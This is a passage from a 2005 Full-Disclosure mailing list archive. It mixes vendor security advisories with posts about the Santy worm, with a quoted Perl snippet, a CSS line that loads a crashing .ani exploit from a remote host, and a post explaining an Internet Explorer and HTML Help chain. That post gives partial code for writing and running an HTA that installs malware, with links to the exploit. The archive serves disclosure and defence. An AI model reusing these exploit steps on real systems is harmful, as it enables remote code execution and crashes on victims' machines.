[Full-Disclosure] Multiple Backdoors found in eEye > > Products(IRISand > > >>SecureIIS) > > >> > > >> > > >> > > >>>I'd hav! e to agr ee with the eEye statement on this one. You > sent out an > > >>>advisory without disclosing the details, which offers no real > benefit to > > >>>anyone. Many people consider this responsible disclosure but > that also > > >>>requires you to notify the vendor (there were no @eeye.com's > in your > > >>>"to" list but there were a couple of press mailboxes). > > >>> > > >>>You didn't contact eEye, you didn't release details, you used an > > >>>anonymous address and failed to mention or credit any of the > other guys > > >>>in your "testing team", This can only lead us to believe that > the > > >>>advisory is fake and only intended to generate bad press for > eEye. I > > >>>personally don't care about eEye's PR rating but I do care > about the > > >>>level of noise on these lists and I do care about backdoor-ed > commercial > > >>>products that are in common use. You may have an issue with > eEye and see > > >>>this as revenge. However, I doubt you also have an issue with > the many > > >>>admins who probably have spent their holiday season > investigating these > > >>>claims, when there are likely more pressing matters to > address, such as > > >>>a large stock of alcohol. > > >>> > > >>>Show us details, or be quiet. If you intended to embarrass > eEye the plan > > >>>backfired as any competent professional on this list (there > are a few - > > >>>I've heard stories about them) would see this as a shameful > attempt and > > >>>would be laughing at you, not eEye. > > >>> > > >>>Seasons greetings to eEye and all Full Disclosure subscribers > - even you > > >>>"Lance Gusto". > > >>> > > >>>With Regards.. > > >>>Barrie Dempster (zeedo) - Fortiter et Strenue > > >&! gt;> > > >>> http://www.bsrf.org.uk > > >>> > > >>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] > > >>> > > >>> > > >>> > > >>> > > >>> > > >>>ATTACHMENT: application/pgp-signature ("signature.asc") > > >>> > > >>>_______________________________________________ > > >>>Full-Disclosure - We believe in it. > > >>>Charter: http://lists.netsys.com/full-disclosure-charter.html > > >>> > > >>> > > >>> > > >>> > > >>_______________________________________________ > > >>Full-Disclosure - We believe in it. > > >>Charter: http://lists.netsys.com/full-disclosure-charter.html > > >> > > >> > > > > > > > > >_______________________________________________ > > >Full-Disclosure - We believe in it. > > >Charter: http://lists.netsys.com/full-disclosure-charter.html > > > > > > > > > > > Neither Will I! > > Neither Will I! > > Neither Will I! > > Let it Die! > > Let it Die! > > Let it Die!;) > > > > Have Fun, > > Sends Steve > > > From infsec at gmail.com Thu Jan 6 11:16:26 2005 From: infsec at gmail.com (Willem Koenings) Date: Thu, 6 Jan 2005 13:16:26 +0200 Subject: [Full-Disclosure] Re: SQL injection worm ? In-Reply-To: <20050105232725.95724.qmail@cgisecurity.net> References: <022d01c4f34b$311d3130$b000a8c0@cybergeneration.com> <20050105232725.95724.qmail@cgisecurity.net> Message-ID: <9b13f6c105010603164ce550af@mail.gmail.com> On Wed, 5 Jan 2005 18:27:25 -0500 (EST), bugtraq at cgisecurity.net wrote: > Here is some additional information. > ? ircname : [UNC]69402 > | channels : #!processor > ? server : shellcodewarez.info (ScW Network) > : idle : 4 hours 57 mins 9 secs (signon: Tue Jan 4 23:40:01 2005) > ??????---?--??-??????---?--??-?????????--- -- - > | [UNC]73047 (vjfud at BFE013F.3F070E03.2BA09B8.IP) (unknown) > ? ircname : [UNC]73047 > | channels : +#!processor > ? server : shellcodewarez.info (ScW Network) > : idle : 4 hours 57 mins 26 secs (signon: Wed Jan 5 07:48:45 2005) > > As you can see they are masking the ip addresses. That depends. When new victim arrives on the channel, you can see his IP: [13:06] * [UNC]08801 (ngnvje at 210.93.182.253) has joined #!processor but on inquery it's really masked, yes: [13:07] [UNC]08801 is ngnvje at 9665494.1E6027D8.277B9277.IP * [UNC]08801 [13:07] [UNC]08801 is on #!processor [13:07] [UNC]08801 using shellcodewarez.info ScW Network [13:07] [UNC]08801 has been idle 49 secs, signed on thursday jan 06 01:18 pm all the best, W. From se_cur_ity at hotmail.com Thu Jan 6 09:23:01 2005 From: se_cur_ity at hotmail.com (morning_wood) Date: Thu, 6 Jan 2005 01:23:01 -0800 Subject: [Full-Disclosure] New Santy-Worm attacks *all* PHP-skripts References: Message-ID: > The relevant code: > --------- > $procura = 'inurl:*.php?*=' . $numr; > > for($n=0;$n<900;$n += 10){ > $sock = IO::Socket::INET->new(PeerAddr => "www.google.com.br", PeerPort => > 80, Proto => "tcp") or next; > print $sock "GET /search?q=$procura&start=$n HTTP/1.0\n\n"; nothing new here... unless... we try the L337 G00GLE HAX0R S34RCH STR!NGZ http://www.google.com/search?q=inurl:*.php%3F*%3D&hl=en&lr=&newwindow=1&start=90&sa=N BUT !!! LIES !!! LIES I SAY !!!! GOOGLE IS TELLING ME I AM INFECTED ( lmfao ) ------------------- / SNIP /------------------ "and it appears that your computer or network has been infected" -------------------/ SNIP /------------------ WRONG ANSWER WRONG EXPLAINATION WRONG JUST WRONG We're sorry... .. but we can't process your request right now. A computer virus or spyware application is sending us automated requests, and it appears that your computer or network has been infected. We'll restore your access as quickly as possible, so try again soon. In the meantime, you might want to run a virus checker or spyware remover to make sure that your computer is free of viruses and other spurious software. We apologize for the inconvenience, and hope we'll see you again on Google. bleh, now i need to find a new best friend... GOOGLE LIED :( m.w From koon at gentoo.org Thu Jan 6 12:41:50 2005 From: koon at gentoo.org (Thierry Carrez) Date: Thu, 06 Jan 2005 13:41:50 +0100 Subject: [Full-Disclosure] [ GLSA 200501-07 ] xine-lib: Multiple overflows Message-ID: <41DD320E.9050302@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: xine-lib: Multiple overflows Date: January 06, 2005 Bugs: #74475 ID: 200501-07 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== xine-lib contains multiple overflows potentially allowing execution of arbitrary code. Background ========== xine-lib is a multimedia library which can be utilized to create multimedia frontends. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-libs/xine-lib < 1_rc8-r1 >= 1_rc8-r1 *>= 1_rc6-r1 Description =========== Ariel Berkman discovered that xine-lib reads specific input data into an array without checking the input size in demux_aiff.c, making it vulnerable to a buffer overflow (CAN-2004-1300) . iDefense discovered that the PNA_TAG handling code in pnm_get_chunk() does not check if the input size is larger than the buffer size (CAN-2004-1187). iDefense also discovered that in this same function, a negative value could be given to an unsigned variable that specifies the read length of input data (CAN-2004-1188). Impact ====== A remote attacker could craft a malicious movie or convince a targeted user to connect to a malicious PNM server, which could result in the execution of arbitrary code with the rights of the user running any xine-lib frontend. Workaround ========== There is no known workaround at this time. Resolution ========== All xine-lib users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose media-libs/xine-lib References ========== [ 1 ] CAN-2004-1187 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1187 [ 2 ] CAN-2004-1188 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1188 [ 3 ] CAN-2004-1300 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1300 [ 4 ] iDefense Advisory http://www.idefense.com/application/poi/display?id=176&type=vulnerabilities [ 5 ] iDefense Advisory http://www.idefense.com/application/poi/display?id=177&type=vulnerabilities [ 6 ] Ariel Berkman Advisory http://tigger.uic.edu/~jlongs2/holes/xine-lib.txt Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-07.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 189 bytes Desc: OpenPGP digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/5bb9bf82/attachment.bin From tom.koehler at gmx.net Thu Jan 6 13:20:51 2005 From: tom.koehler at gmx.net (Tom Koehler) Date: Thu, 6 Jan 2005 14:20:51 +0100 (MET) Subject: [Full-Disclosure] Animated Cursor Blue Screen? Message-ID: <10941.1105017651@www50.gmx.net> Hi Nick, looks like 'Microsoft Windows Kernel ANI File Parsing Crash and DOS Vulnerability' for details see: http://www.securityfocus.com/archive/1/385340/2004-12-18/2004-12-24/0 hth tom -- +++ Sparen Sie mit GMX DSL +++ http://www.gmx.net/de/go/dsl AKTION f?r Wechsler: DSL-Tarife ab 3,99 EUR/Monat + Startguthaben From fw at deneb.enyo.de Thu Jan 6 13:28:53 2005 From: fw at deneb.enyo.de (Florian Weimer) Date: Thu, 06 Jan 2005 14:28:53 +0100 Subject: [Full-Disclosure] Pattern matching search tool In-Reply-To: (Paul Schmehl's message of "Wed, 05 Jan 2005 15:28:24 -0600") References: Message-ID: <87hdlu1yay.fsf@deneb.enyo.de> * Paul Schmehl: > Is anyone aware of a search tool (not Google or search engine > aggregation software) that could be used to search our network for > "interesting stuff"? It needs to be capable of doing pattern > matching similar to perl's regular expression stuff. For active sites, ngrep is rather useful. It won't catch dormant applications, though. From nicholasnam at hush.com Thu Jan 6 14:02:34 2005 From: nicholasnam at hush.com (nicholasnam at hush.com) Date: Thu, 6 Jan 2005 06:02:34 -0800 Subject: [Full-Disclosure] Possible DNS compromise/poisoning? Message-ID: <200501061402.j06E2exe057202@mailserver3.hushmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Yes, that's exactly it. Thanks. On Wed, 05 Jan 2005 18:33:39 -0800 "ALD, Aditya, Aditya Lalit Deshmukh" wrote: >>- --SNIP-- >>;; QUESTION SECTION: >>;www.microsoft.com. IN A >> >>;; ANSWER SECTION: >>www.microsoft.com. 2415 IN CNAME >>www.microsoft.com.nsatc.net. >>- --SNIP-- >> >>Notice that www.microsoft.com is a cname for >>www.microsoft.com.nsatc.net. It's not limited to >www.microsoft.com >>and to the best of my knowledge the correct web content is >>displayed. > > >Ms and all other big players have a round robin dns setup to >prevent >slowdown of their sites. It this what you are seeing ? > >-aditya > > >___________________________________________________________________ >_____ >Delivered using the Free Personal Edition of Mailtraq >(www.mailtraq.com) -----BEGIN PGP SIGNATURE----- Note: This signature can be verified at https://www.hushtools.com/verify Version: Hush 2.4 wkYEARECAAYFAkHdRUAACgkQQOst28rex95QLACffkWvXLliSMaBQVG0k+YlmpX9SEQA niTzZQHhP4aALP3wxYpXJ8YagPP3 =KRWa -----END PGP SIGNATURE----- From str0ke at milw0rm.com Thu Jan 6 15:07:14 2005 From: str0ke at milw0rm.com (str0ke at milw0rm.com) Date: Thu, 6 Jan 2005 09:07:14 -0600 (CST) Subject: [Full-Disclosure] Animated Cursor Blue Screen? Message-ID: Nick, Here is the original source I posted: http://www.milw0rm.com/id.php?id=721 The original author is Flashsky. Crappy when people use milw0rm.com for other purposes then testing the vuln on themselves. Regards, str0ke From kdodd at co.st-johns.fl.us Thu Jan 6 16:37:07 2005 From: kdodd at co.st-johns.fl.us (Kelly Dodd) Date: Thu, 6 Jan 2005 11:37:07 -0500 Subject: [Full-Disclosure] Animated Cursor Blue Screen? Message-ID: Possibly this: http://secunia.com/advisories/13645/ -----Original Message----- From: CrYpTiC MauleR [mailto:crypticmauler at linuxmail.org] Sent: Thursday, January 06, 2005 2:33 AM To: full-disclosure at lists.netsys.com Subject: [Full-Disclosure] Animated Cursor Blue Screen? When going to a bookmarked site which hosts public proxy lists I found out the site was hacked. There was a meta-refresh to the attackers website, when viewing the sourcode of the hacked webpage I noticed this.... [style type="text/css"] body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")} [/style] I was viewing the site in Firefox and Firefox as far as I remember does not support animated cursors as of yet. I saved that file on my computer to check it out later. Only later did I realize it was a bad idea, whenever I tried accessing the directory that file was saved I got a blue screen (Windows 2000) I was able to delete the file using a command prompt. I am assuming the atacker meant for the computer to crash upon the cursor loading which failed (hooray for Firefox). Has anyone seen this before? I did a brief search on Google for such an exploit but did not come across any. I am assuming the crash could be done with any file type. Thanks for the input! Regards, Nick -- ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.netsys.com/full-disclosure-charter.html From pauls at utdallas.edu Thu Jan 6 16:38:18 2005 From: pauls at utdallas.edu (Paul Schmehl) Date: Thu, 06 Jan 2005 10:38:18 -0600 Subject: [Full-Disclosure] Pattern matching search tool In-Reply-To: References: Message-ID: <7CDF1DDBDF91B486AB441763@utd49554.utdallas.edu> --On Thursday, January 06, 2005 08:07:13 AM +0530 "ALD, Aditya, Aditya Lalit Deshmukh" wrote: > > Dear paul I think you answered your own question over here - its perl! Yeah, I'm beginning to think that's what I'm going to have to do. > However there is another tool ntop that I use quite a lot. > I apologize for the vague nature of my request. I'm not looking for tools that can analyze network traffic. I already have plenty of those. I'm looking for tools that can search my network for *computers* that have *passive* (or active) content that I'd rather they didn't have. The example I gave was phpBB. If a worm named Santy comes out that attacks phpBB *specifically*, I'd like to know how many machines on my network have phpBB on them *regardless* of whether or not they have any active traffic. There's a number of ways to do this manually. You can Google for it, then check each box to see if it still has the installation (things change, you know.) You could run nessus and correlate the data. You could run nmap looking for the open ports (like 80) and then do some banner grabbing. But all these methods involve labor *and* require that you react to an event. I'm looking for something *proactive* that can "crawl" my network and report (by email or to mysql, etc.), that can be automated but allows me to do "special" searches if I want to. Sort of a combination of ngrep, ntop, nessus, p0f, webcrawler, open port searcher, grep, find, locate, etc., etc. A "Swiss army knife" discovery tool, if you will. And the more I think about it, the more I feel a perl script coming on. Paul Schmehl (pauls at utdallas.edu) Adjunct Information Security Officer The University of Texas at Dallas AVIEN Founding Member http://www.utdallas.edu From martin.pitt at canonical.com Thu Jan 6 17:37:56 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Thu, 6 Jan 2005 18:37:56 +0100 Subject: [Full-Disclosure] [USN-54-1] TIFF library tool vulnerability Message-ID: <20050106173756.GA9434@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-54-1 January 06, 2005 tiff vulnerability CAN-2004-1183 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: libtiff-tools The problem can be corrected by upgrading the affected package to version 3.6.1-1.1ubuntu1.2. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Dmitry V. Levin discovered a buffer overflow in the "tiffdump" utility. If an attacker tricked a user into processing a malicious TIFF image with tiffdump, they could cause a buffer overflow which at least causes the program to crash. However, it is not entirely clear whether this can be exploited to execute arbitrary code with the privileges of the user opening the image. Source archives: http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.diff.gz Size/MD5: 22999 d884251e847a11301f8336b8d9f50e0f http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1-1.1ubuntu1.2.dsc Size/MD5: 646 7e0d3bb9141233f29e2b5999523882bd http://security.ubuntu.com/ubuntu/pool/main/t/tiff/tiff_3.6.1.orig.tar.gz Size/MD5: 848760 bd252167a20ac7910ab3bd2b3ee9e955 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_amd64.deb Size/MD5: 172900 15c92000db5d6efe06dc5be73a3471e2 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_amd64.deb Size/MD5: 458416 8f3a4d1bcba9de0b9004f8a9c1103632 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_amd64.deb Size/MD5: 111440 df967606c94b419508c00b9e3194485d i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_i386.deb Size/MD5: 157260 d416a9e23840613a706f8196879614b3 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_i386.deb Size/MD5: 439598 87e32a85649ca58ebccf55b751297bb5 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_i386.deb Size/MD5: 102336 f2019f1620310fa2a5d5c59ccabab0fe powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/t/tiff/libtiff-tools_3.6.1-1.1ubuntu1.2_powerpc.deb Size/MD5: 187884 1c1173ba8723d03239399175a7e41566 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4-dev_3.6.1-1.1ubuntu1.2_powerpc.deb Size/MD5: 462478 0fe172d4ecc90f985df90f9a551faa52 http://security.ubuntu.com/ubuntu/pool/main/t/tiff/libtiff4_3.6.1-1.1ubuntu1.2_powerpc.deb Size/MD5: 112518 80f528b39a9d230e20591337df3d556e -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/15b0a41b/attachment.bin From aluigi at autistici.org Thu Jan 6 18:45:24 2005 From: aluigi at autistici.org (Luigi Auriemma) Date: Thu, 6 Jan 2005 18:45:24 +0000 Subject: [Full-Disclosure] Socket unreacheable in Amp II engine Message-ID: <20050106184524.40026fbd.aluigi@autistici.org> ####################################################################### Luigi Auriemma Application: Amp II 3D engine http://www.4drulers.com/amp.html Versions: any version since there is no patch available Games: Gore: Ultimate Soldier <= 1.50 ... possibly others ... Platforms: Windows Bug: socket unreacheable Exploitation: remote, versus server Date: 06 Jan 2005 Author: Luigi Auriemma e-mail: aluigi at autistici.org web: http://aluigi.altervista.org ####################################################################### 1) Introduction 2) Bug 3) The Code 4) Fix ####################################################################### =============== 1) Introduction =============== The Amp II engine is a game engine developed by 4d Rules (http://www.4drulers.com) and Slam Software (http://www.slamsoftware.com). The only game released using this engine seems to be Gore (http://www.4drulers.com/gore/) dated June 2002. ####################################################################### ====== 2) Bug ====== The code used by the engine to handle UDP packets is similar to the following: if(select(sock, &read_set, NULL, NULL, &timeout_zero) < 0) socket_error(); ... if(ioctlsocket(sock, FIONREAD, &packet_length) < 0) socket_error(); if(packet_length) { // read socket data } The problem is just in the if(packet_length) check (meaning "if packet_length is different than zero") because FIONREAD is used to retrieve the size of the first packet in the socket's queue so if an attacker sends an UDP packet of zero bytes to the server, packet_length will continue to be equal to zero and the if(packet_length) check will be messed entering in an infinite loop that will handle ever the same empty UDP packet but without reading its content and freeing the socket's queue. In short, an UDP packet of zero bytes is able to silently interrupt the match on the server. ####################################################################### =========== 3) The Code =========== http://aluigi.altervista.org/poc/amp2zero.zip ####################################################################### ====== 4) Fix ====== The Amp II engine is no longer supported and probably will be released a patch for Gore in future. ####################################################################### --- Luigi Auriemma http://aluigi.altervista.org From martin.pitt at canonical.com Thu Jan 6 17:42:28 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Thu, 6 Jan 2005 18:42:28 +0100 Subject: [Full-Disclosure] [USN-55-1] imlib2 vulnerabilities Message-ID: <20050106174228.GB9434@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-55-1 January 06, 2005 imlib2 vulnerabilities CAN-2004-1025, CAN-2004-1026 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: libimlib2 The problem can be corrected by upgrading the affected package to version 1.1.0-12ubuntu2.1. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Recently, Pavel Kankovsky discovered several buffer overflows in imlib which were fixed in USN-53-1. It was found that imlib2 was vulnerable to similar issues. If an attacker tricked a user into loading a malicious XPM or BMP image, he could exploit this to execute arbitrary code in the context of the user opening the image. These vulnerabilities might also lead to privilege escalation if a privileged server process is using this library; for example, a PHP script on the web server which does automatic image processing might use the php-imlib package, in which case a remote attacker could possibly execute arbitrary code with the web server's privileges. Source archives: http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.diff.gz Size/MD5: 519125 3ece0e406b95e41d4c9399b5def6adf4 http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0-12ubuntu2.1.dsc Size/MD5: 707 4ce1ffa67516fe7b9bb5974aebd7cd0a http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/imlib2_1.1.0.orig.tar.gz Size/MD5: 814851 1589ebb054da76734fe08ae570460034 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_amd64.deb Size/MD5: 608490 298b73e1ca6d67fd67a5f1c46f4c2b17 http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_amd64.deb Size/MD5: 189040 202f3d45cbdf0051d7a4b4c3a883445e i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_i386.deb Size/MD5: 570136 3d49a87c30e254897b759ca45894d95a http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_i386.deb Size/MD5: 176266 56ffca0de995818e951b554f05dc561e powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2-dev_1.1.0-12ubuntu2.1_powerpc.deb Size/MD5: 669892 f8e61e9ef1b7df0d215553ad5ff51def http://security.ubuntu.com/ubuntu/pool/main/i/imlib2/libimlib2_1.1.0-12ubuntu2.1_powerpc.deb Size/MD5: 196958 354f393c057b2188303763dce03c474e -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050106/a86463ab/attachment.bin From shreddersub7 at yahoo.com Thu Jan 6 19:27:11 2005 From: shreddersub7 at yahoo.com (ShredderSub7) Date: Thu, 6 Jan 2005 11:27:11 -0800 (PST) Subject: [Full-Disclosure] Remote Code Execution with Parameters on Windows (XP SP2) Message-ID: <20050106192711.64118.qmail@web61304.mail.yahoo.com> Remote Code Execution with Parameters on Windows (XP SP2): Updated (it can now install any malware file from the Internet and run it without user interaction needed) PoC/Exploit: http://freehost19.websamba.com/shreddersub7/cmdexe.htm About the PoC/Exploit: http://freehost19.websamba.com/shreddersub7/cmdexe-d.htm ------------------------ How does this exploit work? The problem with Internet Explorer is that it doesn't set any restrictions on web pages that request opening a Windows Help file, compiled with HTML Help. Without a restriction, we can (in Internet Explorer) easily command to open any local web page stored on a victim's computer, including web pages that are founded in Windows Help files (with extension .CHM). In this PoC (Proof of Concept, see below for viewing the PoC), the web page "compile_date.htm" (that is founded in the Windows Help file "ntshared.chm") will be opened in HTML Help. Since we now opened a web page stored in a Windows Help file (.CHM), it is possible (thanks to the exploit) to execute an ActiveX control that only fully works in HTML Help files. This ActiveX control can do anything: it can write files to your hard disk and afterwards, it could execute those files. So in this PoC, we choosed to launch an ActiveX control for HTML Help that will first write the HTML application (.HTA file) "cmdexe.hta" to your C-drive. Then, we will execute that file by the same type of ActiveX control. So in this PoC, it wil execute the file "C:\cmdexe.hta" after it was written. This HTML application "C:\cmdexe.hta" was programmed to install the real malware onto your C-drive, in this PoC that will be "C:\malware.exe". If that is all done, we use the exploit one more time: we will the execute the malware. It is even possible to add parameters to the executed program. In this PoC, we started the malware file "C:\malware.exe" after it was written. To make it complete, we will delete the HTML application "C:\cmdexe.hta" because it's not being used anymore. Also, the 2 needed programs (Internet Explorer and HTML Help) will be automatically shutted down after the execution is finished without user interaction. ------------------------ How can you reproduce this PoC? Create the file "cmdexe.htm" with the following code (please notice that you may have to change some file paths!): CMDExe - PoC
----- Then create the file "cmdexe.txt" (please notice that you may have to change some file paths!): function writehta(){ document.write(""); } function writeexe(){ document.write(""); } function startexe(){ document.write(""); } setTimeout("writehta()",1); setTimeout("writeexe()",2000); setTimeout("startexe()",5000); ----- If that's done, create the file "cmdexe2.txt" (please notice that you may have to change some file paths!): on error resume next set conn = CreateObject("ADODB.Recordset") With conn .Fields.Append "conn", 200, "3000" Call .Open Call .AddNew .Fields("conn").Value = "" Call .AddNew .Fields("conn").Value = "" Call .Update End With conn.Save "C:\cmdexe.hta", adPersistXML conn.Close ----- If you want to use the same test malware file "cmdexe.exe" (again: only for testing, do not bring any damage to somewhone's pc with it, or you're responsible!), you can find it here: http://freehost19.websamba.com/shreddersub7/cmdexe.exe ----- If you want to attack Windows XP RTM (Gold), Windows XP SP1 or Windows Server 2003 systems, you might have to upload the "hhctrl.ocx" file too: http://freehost19.websamba.com/shreddersub7/hhctrl.ocx ------------------------ How to avoid this exploit... Since there are still no patches from Microsoft available yet, here are some (temporary?) solutions: Disable Internet Explorer or disable Active Scripting. Use another browser, for example Mozilla FireFox. ------------------------ To Microsoft: Disable the possibility to integrate HTML Help Controls in HTML web pages. Also, disable the possibility to open HTML Help files randomly out of a HTML web page. And come on, use some more restricted security zones for HTML applications! ------------------------ You can find the PoC, as it is explained above, here: http://freehost19.websamba.com/shreddersub7/cmdexe.htm. The PoC on this page installs and opens a test malware file in your C-drive (called "C:\malware.exe"), nothing more than that. It will not bring any harm to your pc. Contact: ShredderSub7_at_yahoo.com (off course, replace the "_at_" part with an "@" if you want me to receive your email!) ------------------------ ShredderSub7 __________________________________ Do you Yahoo!? Yahoo! Mail - Find what you need with new enhanced search. http://info.mail.yahoo.com/mail_250 From bruno at wolff.to Thu Jan 6 20:37:15 2005 From: bruno at wolff.to (Bruno Wolff III) Date: Thu, 6 Jan 2005 14:37:15 -0600 Subject: [Full-Disclosure] Re: Again: zone transfers, a spammer's dream? In-Reply-To: References: Message-ID: <20050106203715.GA21436@wolff.to> On Wed, Dec 29, 2004 at 17:32:33 +0100, Ralf Glauberman wrote: > > so, here comes the old question: What do you think about this? The main problem with allowing zone transfers by anyone is that it makes denial of service attacks against the dns server easier. I don't see other people having access to the data as a bad thing. From security at linux-mandrake.com Thu Jan 6 20:43:01 2005 From: security at linux-mandrake.com (Mandrake Linux Security Team) Date: Thu, 06 Jan 2005 13:43:01 -0700 Subject: [Full-Disclosure] MDKSA-2005:001 - Updated libtiff packages fix multiple vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandrakelinux Security Update Advisory _______________________________________________________________________ Package name: libtiff Advisory ID: MDKSA-2005:001 Date: January 6th, 2005 Affected versions: 10.0, 10.1, 9.2, Corporate Server 2.1, Multi Network Firewall 8.2 ______________________________________________________________________ Problem Description: Several vulnerabilities have been discovered in the libtiff package: iDefense reported the possibility of remote exploitation of an integer overflow in libtiff that may allow for the execution of arbitrary code. The overflow occurs in the parsing of TIFF files set with the STRIPOFFSETS flag. iDefense also reported a heap-based buffer overflow vulnerability within the LibTIFF package could allow attackers to execute arbitrary code. (CAN-2004-1308) The vulnerability specifically exists due to insufficient validation of user-supplied data when calculating the size of a directory entry. The updated packages are patched to protect against these vulnerabilities. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1183 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1308 ______________________________________________________________________ Updated Packages: Mandrakelinux 10.0: 26419ea5f9e775c45927a2bea2eb25ff 10.0/RPMS/libtiff-progs-3.5.7-11.5.100mdk.i586.rpm cfb638e4f6150118347cef61e699d755 10.0/RPMS/libtiff3-3.5.7-11.5.100mdk.i586.rpm d76678e5f4d536deff8f5ec21a25b108 10.0/RPMS/libtiff3-devel-3.5.7-11.5.100mdk.i586.rpm 61d7b33454e6d722e0626a25fc96a6d3 10.0/RPMS/libtiff3-static-devel-3.5.7-11.5.100mdk.i586.rpm 0e93d8581db6de31c2cca71a7d8a9d9e 10.0/SRPMS/libtiff-3.5.7-11.5.100mdk.src.rpm Mandrakelinux 10.0/AMD64: f5a13fd14f3e4b6bd2543338e9ce4673 amd64/10.0/RPMS/lib64tiff3-3.5.7-11.5.100mdk.amd64.rpm cb7a9496c0336a50a6b586b634d273e6 amd64/10.0/RPMS/lib64tiff3-devel-3.5.7-11.5.100mdk.amd64.rpm c7e9ae6e41e528275056586c61b57a33 amd64/10.0/RPMS/lib64tiff3-static-devel-3.5.7-11.5.100mdk.amd64.rpm a7833fbba64ccf3034ea94db771a6ecf amd64/10.0/RPMS/libtiff-progs-3.5.7-11.5.100mdk.amd64.rpm 0e93d8581db6de31c2cca71a7d8a9d9e amd64/10.0/SRPMS/libtiff-3.5.7-11.5.100mdk.src.rpm Mandrakelinux 10.1: 844326b002681b1fbad9c373928bcc22 10.1/RPMS/libtiff-progs-3.6.1-4.3.101mdk.i586.rpm fc39dc40b6e4602cd11dbaaaaa8ccbfc 10.1/RPMS/libtiff3-3.6.1-4.3.101mdk.i586.rpm 0831a29e721e3b34299a382c565b39be 10.1/RPMS/libtiff3-devel-3.6.1-4.3.101mdk.i586.rpm 4de78902949d1da955531dfcc18ea673 10.1/RPMS/libtiff3-static-devel-3.6.1-4.3.101mdk.i586.rpm 3bbd5c84878f47f0aeb6a29808daf075 10.1/SRPMS/libtiff-3.6.1-4.3.101mdk.src.rpm Mandrakelinux 10.1/X86_64: a194eae967e8b4de9b69600dea3aa154 x86_64/10.1/RPMS/lib64tiff3-3.6.1-4.3.101mdk.x86_64.rpm 03113ffb0e828e5435a75f225b639d79 